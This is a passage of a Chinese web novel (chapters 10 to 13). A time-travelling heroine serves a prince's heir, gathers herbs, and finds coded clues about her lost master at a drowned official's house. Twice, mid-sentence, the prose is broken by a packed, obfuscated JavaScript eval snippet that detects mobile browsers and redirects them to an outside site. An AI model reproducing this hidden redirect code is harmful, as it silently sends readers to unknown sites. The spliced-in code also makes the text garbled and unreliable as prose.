师父是个温柔且洒脱的人,十分喜欢同人分享她的一些生活小妙招。或许这独特的酿造青梅酒的方法就是她教给别人的,说不定这是师父留给她的线索! 想到了这一点,姜暖的内心逐渐充盈了起来,仿佛在海面漂浮的小舟突然有了航行的方向。 沈晏愣了一下,不知道她这情绪为何转变得如此之快。不过他也懒得去猜,他取了新的杯子给自己倒了一杯,用她的话回敬道:“当然,左右我也不损失什么。” 清冽的果酒一饮而尽,他将杯子放在小几上,又从怀里掏出一把匕首来。 姜暖看着他滑动的喉咙,心道原来这酒没毒。 好哇,刚刚是存心戏弄她! 沈晏拿着匕首俯身靠近她,泛着寒光的匕首有意擦过她的脸颊,接着是细白的脖颈,然后刀尖挤贴着动脉挤进薄弱的皮肤和麻绳之间,轻轻一挑。 他说:“若是你不中用,杀了便是。” 绳子被轻易挑断,终于得了自由的姜暖一屁股坐在兽皮上,活动着酸痛的身体。这束缚了一整天,她感觉全身血液不通,哪儿哪儿都酸痛。 “从今日起,你是我身边的丫鬟。接下来几天,我让你做什么你便做什么,不可擅自行动。”沈晏将匕首收起来,大手一挥就给她安置了一个新的身份。 从囚犯到丫鬟,也是实现了一次阶级跃迁。 “对了。”沈晏像是随口一问:“你的名字是哪两个字?” 姜暖揉着发红的手腕,也随口一答,“姜子牙的姜,暖宝宝的暖。” 沈晏的表情有些奇怪。 姜暖突然反应过来,对方可能不知道姜子牙是谁,也不知道暖宝宝是何物,于是便用手指在毛茸茸的兽皮上划拉起来。 沈晏了然,又顺势看了一眼她发红的手腕,还有脑门上硕大的红包,突然大发慈悲地从抽屉里掏出了一个特别好看的小罐子丢给她。 “消肿止痛。” 姜暖将瓶子捞起来,简单地闻了一下后便开始擦药,等她涂好药膏,沈晏又大方地将方才剩下的青梅酒送她了。 姜暖看他一眼,得寸进尺地说:“那匕首我瞧着不错。”刀身薄而利,刀鞘干净简单,她一眼就瞧上了。 “……”沈晏睨了她一眼,像是在说没出息,但还是很干脆地给了她。 姜暖迫不及待拿在手上比画了一下,意外感觉还挺顺手的。 11. 第 11 章 第三日一早,他们顺利渡过了黑水河,在附近的小镇上休整一日再继续北上。 姜暖打了个申请外出办事,沈晏给她安排了一个跟班唐田。 唐田跟在她的屁股后面,止言又欲,欲言又止。最后在她的一只脚快跨出大门的时候伸手拦下了她。 姜暖心情不好地问:“有事?” 唐田指了指她的脑袋,道:“你就这么出去?不梳个头发什么的?” 姜暖好像从来没有规规整整地挽过一个发髻,好歹是嫁过人的,这么披头散发出去怎么行。旁人看到,还以为她遭了大欺负。 姜暖沉默了一会儿,决定给他一个面子,进房摸了个慕篱出来。 唐田无语:“懒死你算了。” “死的又不是你,你啰唆什么。” “……” 这个小镇叫阴山镇,面积并不大,不过好在麻雀虽小但五脏俱全。 一间小小的药铺就坐落在街道的中段位置,开间不大,但是来往的病人不少,基本都是粗麻布衣的普通人,且妇孺老弱居多。 姜暖杵在门外看了一会儿,这条街不长,左右都能看到头尾。她估摸着怕是整个镇上就这么一家药铺,她抬步往里走,现在也只能碰碰运气了。 唐田不知道姜暖为什么要来药铺,但是他忍了忍选择闭嘴。因为他发现姜暖有时候说话还挺气人的。 两人进去后,只见铺子里只有一位老得不能再老的老先生坐诊,全白的眉毛都快将他的眼睛给压没了。 铺子里头有两三个病人在桌子前排队问诊,另有几个在对面的柜台上抓药。 姜暖脚尖一转,径直去了柜台。 负责抓药的伙计年纪也不小,估摸着得有六十多。 “请问,你们这里有山道年蒿吗?” 在忙着抓药的赖平握着小秤盘头也没回,“没听过。” 姜暖从衣服里掏出了一张刚刚在客栈里提前绘制好的一张图纸。 “它长这样。”纸张被铺开按压平整,姜暖往里头推了推。 直到手上的药方抓齐全了,赖平才走过来看了一眼图纸。 只见那纸上就简单画了几笔线条,组成了一个跟路边的杂草似的没有什么特点的植物。 赖平不由地抬头看了一眼前这位遮着面容的姑娘,又看了眼她身后抱着长剑一脸古怪的少年,稍微措了一下辞,道:“姑娘所画的草在附近的山中随处可见。” 姜暖一听,就知道他没认出来她画的东西。没办法,只好口述了一下山道年蒿的外表特征。 赖年听得眉头皱起,他隐约觉得这姑娘描述的草药他好像见过,但是拿捏不准。遂放下秤盘,将那潦草的图纸拿去询问他的父亲,也就是坐在对面看诊的老先生。 姜暖见状松了一口气。 赖康年看完图纸后,心里大概有了答案,但是也不太能肯定,只说让贵客自己进山找找。 姜暖道了谢,又摸出两粒碎银子作为答谢费。 赶早不赶巧。 出了店铺后,姜暖决定去老大夫说的那座山头看看。 唐田却有点犹豫,主子只是吩咐他跟着姜姑娘在镇上四处逛逛,可没让他领着人去深山里挖草。 姜暖一副你爱去不去的表情。 作为监视者,唐田当然不可能不去。 那座山距离这座小镇尚有点距离,唐田便去集市上雇了两匹马。 姜暖绕着马走了一圈,道:“不会。” 她只骑过摩托,开过游艇,驾驶过四个轮子的汽车。这马,她还真没有骑过。 唐田惊讶得声音都拐了一个弯儿,“你不会?” 姜暖看了他一眼,啧了一声,“失忆忘记了。” 或许林小娘会,她倒是可以试试,但是要先顺利地爬上去。 姜暖摸索着试着上马,但是这匹马却十分不听话,一直尥蹶子不让她上,把旁边的唐田看得大为无语,直接将她提溜上去,二人共乘一匹。 姜暖抓着唐田的腰封,在他背后感受着策马飞驰,觉得爽快得不行。心中暗下决定,一定要学会骑马这个重要的交通方式。 两人行至山脚,因为上山的路比较崎岖,便将马拴在山脚下。 环顾四下无人,姜暖摘了慕篱,掏出匕首从上头划拉了一个长布条,将长发拢了拢,在脑袋后扎了个蝴蝶结。 两人徒步上了山,唐田走在前头,挥舞着手里的剑沿途左砍右劈开道,走在他身后的姜暖负责指挥方向。 赖大夫说,那草他们本地叫鬼草,多长在半山腰。以前他外孙刚开始辨认草药的时候总是会夹带一两株在药篓里,说是在这座山的半山腰处一个小水坑旁边挖到的。 不过这山头挺大的,要找起来属实要费点功夫。且山中多迷雾,不熟悉山路的人就容易迷失方向,要去的话最好还是带一个当地人。 姜暖没有打算找当地人带路,她的方向感一向是最好的,特别是在山里。 两个人七拐八拐顺利找到了山道年蒿生长的地方。 那是一处位于是陛下不大不小的水坑,由石壁上一道不起眼的小溪流汇聚而成。坑底和四周是一圈大大小小的鹅卵石,附近长着高矮不一的灌木丛和几株乔木。 姜暖撸起袖子毫不客气地将附近生长的山道年草耗了个干干净净,唐田搂过一把别进了裤腰,心想这玩意儿长得跟姜暖画的简直是两模两样。 薅完了,两人正欲离开,突然听到了一阵窸窸窣窣的声音。两人同时警觉地往声音发出来的位置看过去。 一只受惊的野兔子从灌木丛里窜出来,慌不择路往两人的方向跳,可能没想到这里也有人,又跟吓了一跳似的在空中一个后蹬往旁边扭了扭,落地后又迅速地一头扎进旁边的灌木丛里消失不见。 紧接着,有两位男性/交谈的声音从野兔奔来的方向传过来。 “狗娘养的,天天只知道使唤我们,下次定要在他的饭食里尿上一泡!”来人骂骂咧咧,一口脏话说得顺溜。 另一人也搭话道:“可不说呢,仗着他舅舅在里头管事,在兄弟面前装大官呢,什么东西!”说完还愤恨地呸了一声。 话音刚落,两个人便绕过了巨大的石头,出现在了他们的视野中。 只见那两人穿着较为厚实的棉衣,一人腰间别着一把刀,一人背后背着一把斧头。两人手上都提了两个木桶,想来是来此处取水的。 见到姜暖和唐田,那二人似乎被吓了一跳。 有胡子的那个糙汉立刻瞪起眼来,厉声问道:“你们是谁?来此处作甚?” 这话问得,好像此处是他的地盘一样。 姜暖抬了抬下巴反问:“你们又是谁?” “嘿,你个小……”胡子刚要发火,就见旁边的瘦高个儿使劲儿拽了一下他,附在他耳边嘀嘀咕咕说了两句。 那胡子听完,面色突然缓和了下来,语气也没有方才那么凶了。 “我兄弟二人乃山中的猎户,今日来此处取水。一时没想到会在此处遇着生人,所以方才说话语气有些冲,得罪了。”说完抱了一下拳。 那瘦高个儿也赔着笑脸解释:“我哥哥这人平常就是说话直来直去,没什么坏心思。”说着朝姜暖走了几步,眼珠子在姜暖身上滴溜溜地转了好几圈,表情猥琐得让人恶心,“不知道你们二人来此山中是为何啊?” 唐田下意识走过来,将姜暖护在身后,朝他们展示了一下腰间别着的草药,笑着解释道:“我们兄妹二人出来闯荡,路过阴山镇丢了盘缠,想着便来山中挖点草药换取一些银钱。” 俗话说,伸手不打笑脸人,既然对方有意和平相处,那他们也没必要起冲突。 瘦高个儿又转了一下眼珠子,不仅看到了草药还看到了挂在腰间的长剑,将刚要冒头的色心按了下去,脸皮子抽了抽道:“原来如此。” 似有些不甘心地看了姜暖一眼,又说:“这山里容易迷路,还有猎户们设置的陷阱。若是二位采够了草药,还是尽快下山的好啊。” 唐田:“多谢提醒,我们兄妹二人这便下山。”说完,便和姜暖从另一侧的小道下山。 那胡子见二人似是走远了,才埋怨道:“李二,你方才拉我做啥?就这俩小身板,能挨得住我几斧头?” 李二蹲下身去打水,他其实挺烦王五这没脑子的脾气,但还是好言好语地解释了一番。 那小娘子虽柔弱,那男的可不是一般人,看着身板小,那虎口上的茧子一看就是个练家子,而且他腰间挂的那把剑,看剑鞘就知绝非凡品。 “若是闹起来,山里的事被抖出去招来了安王世子,我俩都得脑袋搬家!” 要不是最近几个月,听说安王世子来了漓州,上头让他们警醒点,别惹事。就冲那小娘子细皮嫩肉的模样,他也不拦着王五先手做个炮灰。 可惜了,那小娘子,必是个滋味好的。 李二颇为遗憾地在心里惋惜了几分,催促着王五将水桶装满,他们也原路返回了。 待他们走后,原本已经离开的两个人,正藏在一棵树冠上偷听。 打从一开始,唐田就知道这两人有问题了。 他们自称是山中的猎户,却别着刀和斧头,装扮也不像个猎户。他方才还仔细观察了这二人的手指,如果是常年打猎的,应该惯用弓箭,当是背肌发达,拇指稍粗。 可观那二人的体格和走路的姿势,明显就不是猎户。 他们说谎是为了掩盖什么? 还有那瘦高儿最后说的那句话,表明他们很忌惮安王世子。 唐田心里隐隐有了一点猜测,难不成是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576784|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟那件事有关? 姜暖突然开口:“你有没有发现,阴山镇没有青壮年的劳动力。”她今日一出门的时候就觉得有点古怪,但是一时间又没想起来。 直到刚刚那两人的出现,她才发现此地的古怪之处。阴山镇上没有一个青年人,全是妇孺小童和上了年纪的老头。 唐田恍然大悟:“你这一说,好像……” “要跟上去看看么?”姜暖贴心地问。 唐田摇摇头,两个人便原路返回了。 下山的过程中,林中似有惊鸟飞过,不远处树影婆娑。两人对视一眼,没有说话,但心里大概清楚,这林中还有别的人。 …… 过了阴山镇再往东三十里,便进入了青州地界。 今早一出门的时候,姜暖发现少了一些人,她左右看了一圈,发现是唐田不在。不过她也没多问,想来估计是跟昨天那件事有关。 进了青州地界后,他们脚程突然缓了下来。 她侧坐在车辕上,望着不远处连绵起伏的山峰,觉得还挺惬意。这种低速的交通方式她从来没体会过,以前去哪儿都是一脚油门的事儿。 她突然惊觉前半生的日子大部分都是在风驰电掣中度过的,唯一慢下来的时光,是师父在她旁边鼓捣一些小手工,或者研究一些美食,她则在一旁睡得很香。 姜暖曲起右腿踩在车上,觉得耳边哒哒的马蹄声和车轱辘咔哒咔哒的声音,听着也挺催眠的,如果此时她没有在外面被冷风吹的话,她这会儿应该在马车里睡得很香。 原本她一开始是跟沈晏一道坐在马车内的,但是不知道为啥,沈晏频频看向她,最后好像是忍无可忍了将她赶了出来。 呵,小气。 出来刚坐下没一会儿,她发现唐枳也跟被传染了似的,眼睛一直往她头上瞟,给她看得有点烦。 姜暖忍着不高兴:“你瞅啥?” 唐枳露出一种很奇怪的表情:“你这发髻……” 姜暖抬手摸了摸头上的两个丸子,心道这还是因为那天晚上回去,唐田忍不住提醒她女子出门要梳发髻,现在她身为世子的丫鬟,按照规矩要梳双丫髻。 她姜暖上辈子一头短发,就不知道出门还要梳头。现在一朝来了古代,竟然被勒令要求挽复杂的发髻,这简直就是在为难她! 不过她这个人没有别的优点,就是敬业。 以前外出执行任务的时候,跑得最快的就是她,年年都是业务榜单第一。师父还没少因为这事儿叨叨她,让她送死不要那么积极。 眼下不过就是梳个发髻。 哼,看她不手拿把掐。 于是她掏出了唐田买给她的《大昭女子发髻鉴赏》,然后照着双丫髻的样式,依葫芦画瓢给自己弄了个最简单的哪吒头。 她出门前还对着镜子比照了一下,感觉跟双丫髻也差的不多嘛,便满意地出门了。 “双丫髻啊,不像么?”姜暖摸着头发疑惑。 唐枳比她更疑惑,眼睛都微微睁大了一点。 “啊……不太像。” 岂止是不太像,完全就是两模两样!乍一看像脑壳上长了两个黑疙瘩,关键还不对称,一高一低,一大一小。要是晚上视线差一点,远看就像是有三个脑袋的怪物,小孩儿见了准哭。也难怪世子会将人赶出来吹冷风,就这造型在眼皮子底下晃悠,那肯定看了眼睛疼。 姜暖啧了一声,嘀咕了一句真麻烦。心头盘算着干脆找一把剪刀一起剪了算了。 可还没等姜暖找到剪刀,沈晏估计是看不下去了,一时半会也找不到合适的人给她梳头。于是,我们安王世子——沈晏,决定撸起了袖子自己来。 姜暖的头发其实发质很好,乌黑柔亮。只是因为她没怎么留过长发,所以不怎么注重打理,导致这段时间看起来乱糟糟的。 沈晏的大手拢着她的长发,木梳沾了点水将她的头发梳顺,手指几个翻动间便梳好了一个标准的双丫髻。 姜暖举着铜镜,说不惊讶是假的,还发自肺腑地夸了一句好厉害。 沈晏洗了三次手,以为姜暖接下来会好奇他一个金尊玉贵的世子怎么会婢女梳头的活儿。但是等了半晌,姜暖都没有发问,而是举着铜镜左看右看,嘴里嘀咕着:“这玩意儿这么简单的?” 沈晏哼了一声,嘲讽道:“那你真笨。” 姜暖真诚地点点头,说:“确实,这方面我不如你。” 这一句话倒把沈晏整不会了。 感觉应该是夸奖,但他听着咋不大得劲呢。 在第七天下午,他们终于到达了石泉县。 周正的府邸不难找,进了城门,沿着宽阔的石板路路过三条横街右转,便到了周府的宅邸。 但是那门口却挂着白布灵幡。 周正死了。 12. 第 12 章 四日前,周正与旧友喝酒,醉后不慎落入莲花池,淹死了。 姜暖不由地说:“这也太巧了。” 这几日周府来来往往都是来吊唁的人,他们选择暂时在附近的客栈下榻,唐枳则去当晚出事的酒楼探查。 酒楼内有一处莲花池,就修建在后面的雅居附近。池子里面栽种着睡莲,便于雅居的客人在花期赏莲。但是冬季花谢,这后方的雅居便甚少有客人来。 而周大人出事的那日,雅居内,只有周大人同他的旧友。 据店里的伙计说,周大人是在去茅房的路上不慎落水的。当时因为日落西山,莲池附近光线不佳,便没有在第一时间发现周大人的尸身。还是后来周大人旧友见周大人一直没回来,唤了小二去看,这才发现有人泡在水池子里,捞上来一看,才发现是离席久不归的周大人。 但救上来的时候,人已经没了。 唐枳在池边溜达了一圈,果然见到了一小块踩踏了的砖石。 可这处距离石板路尚有一段距离,也不知周正是如何走到此处,从而失足落水的。 或许,真是个意外吧。 …… 到了第七日,也就是停棺的最后一日,沈晏才领着人前去吊唁。 管家远远地迎了上来,方才虽打眼一看是生面孔,但打头的那位公子衣服非凡品,且通身的气派不弱,想必是一位远道而来的贵客。 他微微躬着腰身,毕恭毕敬地询问道:“敢问贵客……” 唐枳上前一步掏出腰牌,报上家门:“我家大人是镇安司司使,路过青州时听闻周大人故去的噩耗,特意赶来吊唁,得送同僚一程。” 管家一听这名头,当即腿一软,哆嗦着忙将人恭恭敬敬地请了进去。 姜暖跟在沈晏身后,跨过垂花门,一路穿过庭院,便看到了设立在正房的灵堂。府中上下皆素,也很安静,只能听到下人们匆匆的脚步声,还有灵堂里传来的断断续续的呜咽声。 空气里飘的都是香火纸钱味儿,姜暖不喜欢地皱了皱鼻子。 “夫人、小少爷。”老管家步履匆匆,“昭宁城有贵客到。” 远远地,只见跪坐在棺椁前的一大一小的背影同时转过来。 左侧是周夫人,右侧则是周正的独子,今年不过两三岁的年纪,一双眼睛红红的,怯怯地盯着来人看,身体还往周夫人怀里缩了缩。 周夫人得知沈晏的身份,倒很是惊讶了一下。 镇安司司使,也是如今的安王世子。听说年前因为安王妃犯病,所以特南下去往漓州为母寻药。漓州与青州虽然比邻,但若要说路过,也有点牵强。 不知道这尊大佛今日来是为何? 待沈晏礼仪周全地上了一炷香,周夫人才如梦初醒,她吩咐婢女在东客间备好茶水,又来请三人移步,儿子则留在灵堂由奶嬷嬷照看着。 周府老爷去世,待客原本该由府中少爷接待。但小少爷刚满三岁,尚没有待客之能,便只能由周夫人亲自接待。 这位周夫人很特别,姜暖刚跟她打了个照面就注意到了,或者说很难不注意到。 因为这位周夫人虽身穿孝衣,但她的鬓边未戴白花,反而是戴了根花哨的海棠花簪,这实在不是一个刚死了丈夫的妻子该有的装扮。尤其在全府披麻戴孝的人群中,这艳红色的簪子也显得格外突出。 许是姜暖的目光停留在那根簪子上太久,周夫人脸上显露出了一些赧色来。 管家见状,立马躬身上前解释道:“世子莫怪,夫人此装扮皆是老爷千叮咛万嘱咐的缘故。” 这簪子原本是周夫人刚进门不久,周正亲手做的,想着是夫妻二人恩爱的见证,她便日日戴着。后来的一天,周正突然说道,若是日后他要是走在夫人前头,还请夫人在灵堂前戴上这根发簪。至于为什么,他却没多说,只是让夫人一定要答应。 周夫人一开始只当是说笑,并未听进去,哪儿有死了丈夫还在灵前戴这么个花色的簪子。还因为这事儿,周正跟她置了好几天的气。 后来周正又叮嘱了几次,甚至还把管家也叫到跟前特意交代了一番。周夫人心头虽然觉得有些奇怪,但又拗不过他,便答应了。 姜暖听完管家所说,心道这夫妻二人还蛮恩爱的,周正想必是十分喜欢他这位妻子,刚才灵堂前除了夫人和公子好像也没见着有小妾。在一夫一妻多妾的古代,还能有这么纯粹的夫妻,也算是世所罕见了。 去客间的路不算长,但周夫人这一路上也在偷偷打量姜暖,与其说是打量,不如说是在确认什么。但眼下碍于沈晏的身份,她也只是多看了两眼,并未说什么。 姜暖察觉到了周夫人打量的目光,不过以为只是女性之间头一次见面多看了两眼罢了,便没放在心上。 众人行至客间的时候,婢女恰好将茶水备上。 姜暖与那奉茶的婢女打了个照面,那婢女顿时像是看到了什么不可置信的东西似的,眼睛微微瞪大,而后突然剜了姜暖一眼。 ? 还未等姜暖反应过来,那婢女已经转过身走在她的前头,好似还有点生气。 姜暖怀疑是不是沈晏在外的名声不大好,连累他们这种下属平白无故遭人白眼。她侧头看了唐枳一眼,估计唐田唐枳平时没少遇到这种事吧。 唐枳:? 怎么,我脸上东西? …… 周夫人恭请沈晏落座后,下意识抚了抚头上的簪子,那位婢女则垂首立于她的身侧。 “世子远道而来,妾身怠慢了。” 沈晏端起茶杯道:“无妨。”似是不经意,视线在那根海棠簪子上划过。 “早些年,本王接任镇安司司使的时候,恰逢周大人到昭宁城述职。”细长的手指捏着茶盖转圈打着杯中的浮沫,却不急着入口。 “周大人便赠了本王一幅他亲手画的丹青,本王甚是喜欢。” 其实那画他就匆匆扫了一眼便扔进库房了,依稀记得是一幅仕女图。 周夫人愣了一下,缓声道:“夫君他,确实喜爱作画。” 她摸不准这位世子今日来的目的,也不敢妄自揣测,只想着将人恭恭敬敬地接待好,然后再安安稳稳地送出府。 只因这位安王世子的名声,她是听过的。 据说是克父克兄的煞命,安王妃也是为了躲他才去寺里清修,一住就是二十年。皇帝将人丢去戍边也是为了让他去军中压一压这煞气,谁承想,竟一下克死了三万将士。 造孽啊…夫君怎么招惹上他了! 接下来的一段时间两人说的都是些场面话,直到这位世子又把话题扯到了仕女图上。 “听说周大人一手写影图如人揽镜自照。” 周夫人搅着手帕,看了眼沈晏,又看了眼旁边站着的姜暖。难不成是这个世子是因为那幅画来的?这个丫鬟难道身份不一般? 心头计较一番,踟蹰着开口:“世子是因为这位……姑娘而来的?” 姜暖本来在神游,听到这句话,突然回神,人也站得直了一些。 沈晏眉头一挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576785|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,道:“夫人何出此问?” 周夫人惴惴不安道:“妾身今日一见姑娘便觉得有些眼熟。” 前些日子她在整理夫君的书房时,意外从一本泛旧的书籍里翻到了一幅女子的画像。那画像上的女子与眼前这位姑娘一模一样,连那眉尾的小痣都是一般无二。 她原本还以为是夫君从前的那个旧情人,而今日安王世子突然带了这名女子来府中,且话里话外都在提夫君的画暗示她,想必是知道了夫君和这名女子的关系。 只是不知道这名女子和安王世子是什么关系,竟然可以劳累安王世子亲自陪她跑一趟。 周夫人顿时心生悲痛,连忙用帕子点了点眼角。 “夫君如今已去,姑娘若是来要个名分的,只怕单凭一幅画是站不住脚的。”这安王世子再混账也断不能强行让她将这名女子抬进周府当个妾室吧。 姜暖听得眉头皱起,“哈?” 这从何说起啊,怎么突然被造了个黄谣? 她脚刚一动,唐枳眼疾手快地将她拉住了,摇头示意她不要轻举妄动。 “周夫人多虑了。”沈晏撂下茶杯,站起身来:“这婢子乃本王府里的丫鬟,一心寻找幼时失踪的孪生姐姐。年前周大人在昭宁城述职,偶遇了这丫头,将她认错了。”沈晏转过身,看着姜暖嘴角微微上扬,“后来这丫头回府越想越不对劲,便求到本世子这里来。” “……” 姜暖虽无语,但还是配合着沈晏的表演,勉强做了个难过的表情。 “恰逢本世子南下办事,便带上她。想着事情办完便来府中相问,未曾想,在来的路上便听到了周大人意外故去的消息……” 周夫人听到此处,面上浮现一丝羞愧之色。“原来是这样。”她歉意地朝姜暖看过去,垂首道:“唐突姑娘了。” “没关系。”姜暖继续难过着,假意揉了揉眼睛:“夫人可否将那幅画给我看看。” “自是可以。”周夫人便示意婢女去拿。 不一会儿,那婢女捧着一本书进来。 沈晏将那书翻开,抽出里头的画像打开一看,画中女子果然和姜暖如出一辙。 只见画上的姑娘撑着一把油纸伞,行走在烟雨中的拱桥上,眉眼间含羞带怯,宛如降临凡间的仙瑶。可见作画之人对女子包含着满心爱慕之意。 左侧有一行小字:承安二十六年,初见青衣。 下方是周正的落款。 “我与夫君成亲四载,竟不知他曾有过一个如此爱慕的女子。”周夫人摸了摸鬓边的海棠花簪,语气有些自嘲。 成亲前她便知道未来的夫君画得一手好画,尤其擅长写影。但婚后夫君从未替她画过一幅画像。她也曾小心地问起,夫君却说他早已不画人像,如今只沉迷于山水。 想来,是因为他想画的人不在吧。 要不是她整理遗物时发现了这画,说不定她这辈子都不会知道,到死都认为她的夫君只爱过她一个女子。 周夫人哀伤的眼眸看向姜暖,虽然这对孪生姐妹长相酷似,但气质却有不同。妹妹已是玉骨冰姿之色,想必这位青衣姑娘更是千娇百媚。 姜暖看着画上的人像,心里突然生出一个很奇怪的感觉,她觉得这画里的人是她又不是她。更奇怪的是,她刚刚好像还看到了一个不属于这个时代的东西。 刚刚沈晏从书里取画的时候,她在这本书上面看到了熟悉的英文字母。 姜暖眼珠子瞪得比牛大,好家伙,这给她干哪儿来了,这还是古代吗? 13. 第 13 章 如果说在这之前,姜暖对于师父是否也来到了这个世界还只是怀疑阶段,那么在看到这本书上熟悉的写法后,她已经确定她的师父真的来过这里,很有可能比她更早。 “有没有想起一点东西?”沈晏问。 姜暖从离开周府起,就将这本书放在手里翻来覆去地看。 那上面的符号沈晏知道,是以前密探使用的特殊密语,但使用的人极少。青衣叛变一事发生后,那些人就已经死得差不多了。 周正若是和青衣关系匪浅,他屋里有这个的话倒也不是特别奇怪。 姜暖心想我何止认识,不过她没有正面回答。 “这东西在大昭也随处可见?” 总不能跟那个青梅酒一样吧,师父这是穿来过当老师了么? 沈晏:“以前暗探里有不少会的。” 姜暖歪过头看他:“以前?” 沈晏点头,“现在都死干净了。” 所以这东西现在没人知道,也成了无人会解读的秘密,后来随着天衣阁内部的清洗,也永远埋藏在五年前了。 “死了?” 姜暖心里有些震惊,也包括她师父吗? “全部?” 沈晏唔了一声,瞥了她一眼道:“生不见人死不见尸的也有。” 姜暖稍微放下心来,将书本合上。 “这上面写的什么?” 沈晏朝她抬抬下巴,看她研究了这么久,猜测她应该是知道点什么。 姜暖却道:“就是觉得有些眼熟罢了。”她随意翻了翻,并没有说实话。 心里却嘀咕起来,你都说了知道的人都死得差不多了,我还上赶着自投罗网么?本来是青衣的嫌疑就够大了,没必要给自己惹事儿。 书里的内容也不复杂,而且让她更加笃定师父是真的在这个世界存在过。她大概看明白了,从这些字母的组合来看应该是拼音。其中有几个字母的书写习惯和师父一模一样,但是笔迹却跟师父的不一样。想来,这青衣是跟师父学的。如果顺着青衣这条现成的线索找下去,说不定可以找到她。 姜暖将书合上,心情渐好:“周正为何将青衣安置在漓州芸薹镇?” 这本书只是一本普通的白描图集,内容是一些文字讲解和白描画。不同的是在每个页面的空白处的位置,都写上了几个字母。整本图集连在一起看的话,就是一句简单的话。 ——我已找到脱困方法三日后于城外破庙与君相见青衣 若她没有记错,胡大夫说过,青衣当初是坠江而亡。而当时把她逼到江边的,恰好是周正。 如果当时的坠江之事是青衣和周正策划的障眼法,后来用伪造的尸体造成青衣已死的假象。那么为什么林小娘三年前会流落到漓州芸薹镇附近,周正找了借口将人接进府里去不是更好么? 唐枳插嘴:“可能是周夫人不同意。”这种事他们世子早就派人将周正这些年的动向查了个底朝天。“这芸薹镇附近有个海棠镇,每年海棠花开,周大人可都要过去赏花的,风雨无阻。” 换而言之,周正暂时将青衣安排在芸薹镇,说不定是为了暂避风头。那林虎一家孤儿寡母,最好拿捏,而且很诡异的是青衣刚嫁过去不久,这对母子就接连去世,保不齐就是周正的手笔。 姜暖嘀咕:“这一避就是三年,够谨慎的。” 什么样的权势能让他将人藏了五年还不放心的? 唐枳看了眼脸色不太好的世子,对姜暖说道:“姑娘你最好能想起点啥,否则就算到了昭宁城,我们世子未必能保得住你。” 回昭宁城的一路上肯定免不了一场腥风血雨,到了昭宁城她的身份还不能公之于众,否则大理寺直接收押,到时候处理起来更麻烦。 唐枳说得不无道理,留给她的时间不多了,她开始思考逃跑的可能性。 沈晏盯着她发髻上的绒花,哼了一声,道:“我劝你别想着逃走,你只会死得更快。” 姜暖:“……” 怎么每次一有逃跑的念头就会被他警告,真邪门。 不过他说得也挺在理,这背后的人显然已经知道了她的身份,她如今能不能顺利到达昭宁城还未可知。 这一路上,她都是被盯着杀,若在这种情况下逃走,到时候她孤身一人在这个陌生的时代根本就无处可藏。而且操控她这枚棋子的人在得知她“失忆”后,说不定也会直接将她变成废棋。 照这么看下来,眼下她留在沈晏的身边,至少会活得长一些。 她如今已是沈晏手上的鱼饵,在鱼儿未上钩之前,她应该是安全的。 至于以后,只能走一步看一步咯。 …… 他们此番一路沿着黑水河向西北方向行进,沈晏为了节约时间,便舍弃了马车。不会骑马的姜暖便暂时安排和唐枳共乘一匹。 姜暖坐在唐枳身后,屁股在半个月的时间被颠成了八瓣,最后终于抵达了青州与燕州的交界处。 此处有一小镇,名红叶镇。镇子坐落在紫源山脚下,因绵延几十里的红枫树得名。可惜此时春二月,只能见到一片光秃秃的枝丫,连嫩绿的新芽还未抽出来。 恰逢早春时节,气温还未开始回暖。踏进燕州的地段,除了加绒的夹袄还得外披一件厚实的披风才行。 红叶镇内只有两家客栈,皆已人满为患。不过好在其中一家今日有两间退房的客人,客房比较宽敞,将就挤一挤,还是能住的。 客房内准备了足够的炭盆,店家拿来的被褥也挺厚实,打个地铺应当是没问题的。 唐枳先将香炉摆出来点上,沈晏则直接去了净房。姜暖整理着铺盖卷,不禁有些好奇。 “你怎么又把香点上了。” 每次沈晏的屋都要点这玩意儿,是他独特的癖好么? 唐枳把火折子吹灭,道:“助眠的。” 姜暖点头,怪不得每次闻着这味儿睡觉都特别香。看来沈晏有失眠的毛病,难怪有时候脾气会特别差。 清淡的甜香逐渐填满整个屋子,沈晏从净房回来,换了一身绛色牡丹织锦圆领窄袖谰袍。同前些日子相比,少了一丝书卷气,多了几分侠气。宽肩窄腰的比例加上红色极衬他的肤色,惹得姜暖多看了好几眼。 这腿真长啊,真是羡慕。 “这是你铺的床?”沈晏走过来看了一眼那地上的一坨,感觉就是随意往地上一堆,然后再扒拉出一个口子来,委实像个狗窝。 姜暖不明白他在嫌弃什么,又不让他睡。 “你不懂,这样暖和点。” 她就喜欢这么睡,要把自己包裹得像一个蛹,既保暖又睡得香。 “……”沈晏啧了一声,离开了。 姜暖朝唐枳打了个手势,问他这人啥意思。唐枳则耸耸肩,表示无可奉告。 背后蛐蛐主子这种事,可不兴干啊。 呵,没意思。姜暖开始怀念唐田了。 店小二推门进来上了几道菜,堂中几名客人的交谈声传入房内。姜暖大概听了一下,好像是一些赶考的学子在哪儿讨论往三年的考题。 大昭的春闱设立在三月中旬,所以在这个时间节点,红叶镇的客栈基本都是爆满的状态,堂中的客人大多都是今年奔赴昭宁城赶考的学子。 姜暖好奇地往楼下瞄了一眼,难怪这一路上客栈基本都满员了。 大堂里除了用膳的,还有一些在猜测今年的论题,另一边则是围聚在一起进行学识上的交流。 